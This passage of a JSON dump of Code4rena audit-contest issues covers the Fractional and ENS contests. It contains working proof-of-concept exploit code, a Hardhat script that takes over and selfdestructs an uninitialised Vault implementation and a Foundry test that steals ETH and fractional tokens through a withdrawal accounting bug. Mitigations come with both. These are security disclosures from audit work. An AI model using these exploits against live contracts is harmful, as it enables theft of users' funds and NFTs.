destructor.interface.getSighash(\"destruct\")]); const leafHash = ethers.utils.keccak256(leafData); await vaultImpl.connect(attacker).init(); await vaultImpl.connect(attacker).setMerkleRoot(leafHash); // we don't really need to do this ownership-transfer, because the contract is still usable till the end of the tx, but I'm doing it just in case await vaultImpl.connect(attacker).transferOwnership(ZERO_ADDRESS); // before: everything is fine let implVaultCode = await ethers.provider.getCode(implVaultAddress); console.log(\"Impl Vault code size before:\", implVaultCode.length - 2); // -2 for the 0x prefix let owner = await proxyVault.owner(); console.log(\"Proxy Vault works fine, owner is: \", owner); await vaultImpl.connect(attacker).execute(destructor.address, destructData, []); // after: vault implementation is destructed implVaultCode = await ethers.provider.getCode(implVaultAddress); console.log(\"\\nVault code size after:\", implVaultCode.length - 2); // -2 for the 0x prefix try { owner = await proxyVault.owner(); } catch (e) { console.log(\"Proxy Vault isn't working anymore.\", e.toString().substring(0, 300)); } } async function deployVault(baseVault, registry, attacker) { const nodes = await baseVault.getLeafNodes(); const tx = await registry.connect(attacker).create(nodes[0], [], []); const receipt = await tx.wait(); const vaultEvent = receipt.events.find(e => e.address == registry.address); const newVaultAddress = vaultEvent.args._vault; const newVault = await ethers.getContractAt(\"Vault\", newVaultAddress); return newVault; } if (require.main === module) { main() } ``` `Destructor.sol` file: ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.13; contract Destructor{ function destruct(address payable dst) public { selfdestruct(dst); } } ``` Output: ``` Impl Vault code size before: 10386 Proxy Vault works fine, owner is: 0x5FbDB2315678afecb367f032d93F642f64180aa3 Vault code size after: 0 Proxy Vault isn't working anymore. Error: call revert exception [ See: https://links.ethers.org/v5-errors-CALL_EXCEPTION ] (method=\"owner()\", data=\"0x\", errorArgs=null, errorName=null, errorSignature=null, reason=null, code=CALL_EXCEPTION, version=abi/5.6.2) ``` Sidenote: as the comment in the code says, we don't really need to transfer the ownership to the zero address. It's just that Foundry's `forge` did revert the destruction when I didn't do it, with the error of `OwnerChanged` (i.e. once the `selfdestruct` was called the owner became the zero address, which is different than the original owner) so I decided to add this just in case. This is probably a bug in `forge`, since the contract shouldn't destruct till the end of the tx (Hardhat indeed didn't revert the destruction even when the attacker was the owner). ## Tools Used Hardhat ## Recommended Mitigation Steps Add init in `Vault`'s constructor (and make the `init` function `public` instead of `external`): ```solidity contract Vault is IVault, NFTReceiver { /// @notice Address of vault owner address public owner; /// ... constructor(){ // initialize implementation init(); } /// @dev Initializes nonce and proxy owner function init() public { ``` Alternately you can add init in `VaultFactory.sol` constructor, but I think initializing in the contract itself is a better practice. ```solidity /// @notice Initializes implementation contract constructor() { implementation = address(new Vault()); Vault(implementation).init(); } ``` After mitigation the PoC will output this: ``` Error: VM Exception while processing transaction: reverted with custom error 'Initialized(\"0xa16E02E87b7454126E5E10d957A927A7F5B5d2be\", \"0x70997970C51812dc3A010C7d01b50e0d17dc79C8\", 1)' at Vault._execute (src/Vault.sol:124) at Vault.init (src/Vault.sol:24) at HardhatNode._mineBlockWithPendingTxs .... ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/193", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/191", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Any fractions deposited into any proposal can be stolen at any time until it is commited", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/183", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Any fractions deposited into any proposal can be stolen at any time until it is commited"}, {"title": "Proposal which started buyout which fails is able to settle migration as if its buyout succeeded.", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/182", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Proposal which started buyout which fails is able to settle migration as if its buyout succeeded."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/168", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "A VAULT OWNER CAN BE ALSO THE CONTROLLER AND ARBITRARILY SET THE SECONDARY MARKET ROYALTIES", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/166", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-07-fractional-findings", "body": "A VAULT OWNER CAN BE ALSO THE CONTROLLER AND ARBITRARILY SET THE SECONDARY MARKET ROYALTIES"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/158", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/156", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Migration fails when all tokens are joined", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/155", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/f862c14f86adf7de232cd4e9cca6b611e6023b98/src/modules/Migration.sol#L202 https://github.com/code-423n4/2022-07-fractional/blob/f862c14f86adf7de232cd4e9cca6b611e6023b98/src/modules/Migration.sol#L528 # Vulnerability details ## Impact When `proposal.totalFractions` is equal to the total supply (meaning that all token holders want to participate in a migration), there is a division by zero in `_calculateTotal`. In contrast to a buyout, where it does not make sense to initiate a buyout if all tokens are held (because there is a dedicated method for that), it does make sense to have a migration that all token holders join. Therefore, this case should be handled. ## Proof Of Concept ```diff --- a/test/Migration.t.sol +++ b/test/Migration.t.sol @@ -238,7 +238,7 @@ contract MigrationTest is TestUtil { // Bob joins the proposal bob.migrationModule.join{value: 1 ether}(vault, 1, HALF_SUPPLY); // Alice joins the proposal - alice.migrationModule.join{value: 1 ether}(vault, 1, 1000); + alice.migrationModule.join{value: 1 ether}(vault, 1, HALF_SUPPLY); vm.warp(proposalPeriod + 1); // bob calls commit to kickoff the buyout process ``` ## Recommended Mitigation Steps In such a case, `redeem` can be used instead of starting a buyout. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/141", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Users can lose fractions to precision loss during migraction if _newFractionSupply is set very low", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/137", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L72-L99 # Vulnerability details # Vulnerability details ## Impact Precision loss causing loss of user value and potentially cause complete loss to vault ## Proof of Concept https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L471-L472 If the supply of the fraction is set to say 10 then any user that uses migrateFractions with less than 10% of the contributions will receive no shares at all due to precision loss. Under certain conditions it may even cause complete loss of access to the vault. In this same example, if less than 5 fractions can be redeemed (i.e. not enough people have more than 10% to overcome the precision loss) then the vault would never be able to be bought out and the vault would forever be frozen. ## Tools Used ## Recommended Mitigation Steps When calling propose require that _newFractionSupply is greater than some value (i.e. 1E18) "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/130", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Failed proposal can be committed again", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/124", "labels": ["bug", "3 (High Risk)"], "target": "2022-07-fractional-findings", "body": "Failed proposal can be committed again"}, {"title": "Migration can permanently fail if user specifies different lengths for `selectors` and `plugins`", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/115", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/Vault.sol#L73-L82 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L72-L99 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/VaultRegistry.sol#L174 # Vulnerability details ## Impact In `propose()` in Migration.sol, there is no check that the lengths of the `selectors` and `plugins` arrays are the same. This means that if a migration is successful, the `install()` function in Vault.sol could revert beacuse we access an array out of bounds. This prevents a new vault being created thereby permanently locking assets inside the vault. ## Proof of Concept 1. user starts a new migration proposal where `selectors.length != plugins.length` 2. enough users join proposal and the buyout bid starts 3. buyout bid is successful and migration starts with `settleVault()` 4. a new vault is cloned with `create()` -> `registry.deployFor()` -> `vault.install(selectors, plugins)` 5. a. If `selectors.length > plugins.length` then we get an out of bounds error and transaction reverts b. If `selectors.length < plugins.length` then the excess values in `plugins` is ignored which is tolerable 6. In scenario a., the migration fails and a new migration cannot start so assets in the vault are permanently locked This may seem quite circumstantial as this problem only occurs if a user specifies `selectors` and `plugins` wrongly however it is very easy for an attacker to perform this maliciously with no cost on their behalf, it is highly unlikely that users will be able to spot a malicious migration. ## Tools Used VS Code ## Recommended Mitigation Steps Consider adding a check in `propose()` to make sure that the lengths match i.e. ```solidity function propose( address _vault, address[] calldata _modules, address[] calldata _plugins, bytes4[] calldata _selectors, uint256 _newFractionSupply, uint256 _targetPrice ) external { // @Audit Make sure that selectors and plugins match require(_selectors.length == _plugins.length, \"Plugin lengths do not match\"); // Reverts if address is not a registered vault (, uint256 id) = IVaultRegistry(registry).vaultToToken(_vault); if (id == 0) revert NotVault(_vault); // Reverts if buyout state is not inactive (, , State current, , , ) = IBuyout(buyout).buyoutInfo(_vault); State required = State.INACTIVE; if (current != required) revert IBuyout.InvalidState(required, current); // Initializes migration proposal info Proposal storage proposal = migrationInfo[_vault][++nextId]; proposal.startTime = block.timestamp; proposal.targetPrice = _targetPrice; proposal.modules = _modules; proposal.plugins = _plugins; proposal.selectors = _selectors; proposal.oldFractionSupply = IVaultRegistry(registry).totalSupply( _vault ); proposal.newFractionSupply = _newFractionSupply; } ``` Additionally, I would suggest adding such a check in the `install()` function as this may prevent similiar problems if new modules are added "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/111", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "old-submission-method"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "USE SAFETRANSFERFROM INSTEAD OF TRANSFERFROM FOR ERC720 TRANSFERS", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "USE SAFETRANSFERFROM INSTEAD OF TRANSFERFROM FOR ERC720 TRANSFERS"}, {"title": "Empty receive function can cause loss of funds", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "Empty receive function can cause loss of funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Batch transfers should check that input arrays are same length", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-fractional-findings", "body": "Batch transfers should check that input arrays are same length"}, {"title": "`fallback()` function can bypass permission/auth checks imposed in `execute()`", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/47", "labels": ["bug", "2 (Med Risk)"], "target": "2022-07-fractional-findings", "body": "`fallback()` function can bypass permission/auth checks imposed in `execute()`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-07-fractional-findings", "body": "QA Report"}, {"title": "Steal NFTs from a Vault, and ETH + Fractional tokens from users.", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/27", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "# Lines of code https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Migration.sol#L292 # Vulnerability details ## Impact Steal NFTs from a Vault, and ETH + Fractional tokens from users. ## Description The `Migration.sol` module expects users to join a proposal using the `join` function, and leave a proposal using the `leave` function, both functions update fraction and ether balances of the proposal *and* the caller. The `withdrawContribution` function is meant to be used to retrieve ether and fractions deposited from an unsuccessful migration, but it can be called as well in proposals that have not been commited. Unfortunately, the `withdrawContribution` function will issue a refund on fraction tokens and ether balances the user sent to a proposal but it will not update the variables `totalEth` and `totalFractions` (as `join` and `leave` do), leading to an inflation of ETH and fractional tokens if the user calls `join`, `withdrawContribution` and `join` again. Exploiting this inflation bug, an attacker can steal all Ether and fractional tokens sent to a legit proposal by legit users of the community, and redirect them to an evil proposal that will win (because it has over 51% of token supply) and at the same time invalidate the legit proposal due to: 1- Lack of funds (they were stolen). 2- Only 1 LIVE proposal can be running at the same time. A key element to take note is that only 1 proposal can be `LIVE`, but before a proposal goes `LIVE`, many can be created at the same time, and users can join those that resonate with them, sending their ETH and fractional tokens to support it. The vault will have a big amount of ETH and fractional tokens in these situations. ## Steps to reproduce An attacker's will exploit the inflation bug as follow: 1- Wait until there's at least 50% of the total supply of fractional tokens in the vault, being stacked into one or several proposals. 2- Create an evil proposal with evil modules and inflate the amount of ETH and fractional tokens in your proposal up to the exact amount of the total ETH and fractional tokens in the vault. 3- Commit your proposal. That will send all ETH and fractional tokens in the vault to your proposal and `start` it. Now that your proposal has over 51% total supply of fractional tokens in it and a lot of ETH stolen from members of the vault, many creative things can be done, including taking over the Vault's NFTs with an evil module once the proposal goes through. **NOTE: In the `REJECTION_PERIOD` victims can buy tokens to try to stop the proposal from going through, but the price of every tokens is calculated using the `depositAmount` and `msg.value` (https://github.com/code-423n4/2022-07-fractional/blob/e2c5a962a94106f9495eb96769d7f60f7d5b14c9/src/modules/Buyout.sol#L86) both values manipulated by the attacker. ** ## Proof of Concept The proof of concept took 4 hours and 33 mins to be written, as I tried hard to get a clean, and easy to understand and reproduce PoC that illustrates the impact of the attack. Everything was put inside a function filled with comments at every stage, that can be included within the Unit Tests of the project. You can read the PoC or include the function in `test/Migration.t.sol` and call `forge test -vvv --match-test testProposalAttack` to execute it. ``` function testProposalAttack() public { initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver(); address[] memory modules = new address[](1); modules[0] = address(mockModule); // STEP 0 // The attacker waits until a proposal with over 51% joins and a nice amount of ETH is made // STEP 1 // Alice makes a legit proposal alice.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY * 2, 1 ether ); // STEP 3 // Alice joins his proposal with 50 ETH and 5,000 tokens out of a total supply of 10,000 alice.migrationModule.join{value: 50 ether}(vault, 1, 5000); // NOTE: In a real world scenario, several members will join Alice's legit proposal with their own ETH and tokens, // but to make this PoC easier to read, instead of creating several fake accounts, // let's have just Alice join his own proposal with 50% of token supply. // STEP 4 // Bob makes an evil proposal, with evil modules to steal the vault's NFTs bob.migrationModule.propose( vault, modules, nftReceiverPlugins, nftReceiverSelectors, TOTAL_SUPPLY, 1 ether ); // STEP 5 // Bob joins and then withdraws from the proposal in loop, to inflate the ETH of his proposal // and total locked tokens (thanks to a bug in the `withdrawContribution` function) bob.migrationModule.join{value: 10 ether}(vault, 2, 25); bob.migrationModule.withdrawContribution(vault, 2); bob.migrationModule.join{value: 10 ether}(vault, 2, 25); bob.migrationModule.withdrawContribution(vault, 2); bob.migrationModule.join{value: 10 ether}(vault, 2, 25); bob.migrationModule.withdrawContribution(vault, 2); bob.migrationModule.join{value: 10 ether}(vault, 2, 24); bob.migrationModule.withdrawContribution(vault, 2); bob.migrationModule.join{value: 10 ether}(vault, 2, 101); // Let's do some accounting... (,,uint256 totalEth_AliceProposal,,,,,,) = migrationModule.migrationInfo(vault,1); (,,uint256 totalEth_BobProposal,uint256 _totalFractions,,,,,) = migrationModule.migrationInfo(vault,2); // Alice proposal has 50 ETH. assertEq(totalEth_AliceProposal, 50000000000000000000); // Bob's proposal has 50 ETH. assertEq(totalEth_BobProposal, 50000000000000000000); // He only put 10 ETH, but it shows 50 ETH because // we inflate it by exploiting the bug. // We can keep inflating it indefinitely to get any ETH // amount desired (up to the max ETH balance of the smart contract). // NOTE that the very REAL ETH Balance of the vault is only the 50 ETH (from Alice) + 10 ETH (from Bob) = 60 ETH. // We'll steal those 50 ETH from alice and all of his fractional tokens, to add them to our proposal now. // STEP 6 // Bob calls commit to kickoff the buyout process bool started = bob.migrationModule.commit(vault, 2); assertTrue(started); // Final accounting: // Buyout now has 5,100 Fraction tokens from a total supply of 10,000 (that's 51% of total supply, // exactly what is required to win a proposal) assertEq(getFractionBalance(buyout), 5101); // and 50 ETH from Alice's proposal assertEq(getETHBalance(buyout), 50 ether); // Bob started with 100 ether and at this time it has 90 ether, as we only spent 10 ether assertEq(getETHBalance(bob.addr), 90 ether); // Bob only sent 101 tokens from his own fraction balance to his evil proposal, the rest were stolen // from Alice's proposal assertEq(getFractionBalance(bob.addr), 4899); // Next steps are straight forward, you can get creative and do many things that would make the PoC // unnecessarily long // Alice's proposal will revert if she tries to commit it, as only 1 proposal can be LIVE // at the same time. Also, there's not enough ETH in the contract to commit his proposal, // We are using all of his ETH in our own proposal. ``` ## Tools Used Run `forge test -vvv --match-test testProposalAttack` after preparing the testing environment as explained in https://github.com/code-423n4/2022-07-fractional#prepare-environment ## Recommended Mitigation Steps Update the `proposal.totalEth` and `proposal.totalFractions` in the `withdrawContribution` function. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-07-fractional-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-07-fractional-findings/issues/1", "labels": [], "target": "2022-07-fractional-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/318", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/317", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/316", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/315", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/313", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Insufficient Validation For ERC721 Receive Hook Based Name Wrapping", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/312", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-07-ens-findings", "body": "Insufficient Validation For ERC721 Receive Hook Based Name Wrapping"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/311", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/309", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/308", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/307", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/306", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/305", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/304", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/303", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/301", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/300", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/299", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/298", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/297", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/296", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/295", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/291", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/290", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/289", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/288", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/286", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/284", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-07-ens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-07-ens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-ens-findings/issues/261", "labels": ["bug", "QA 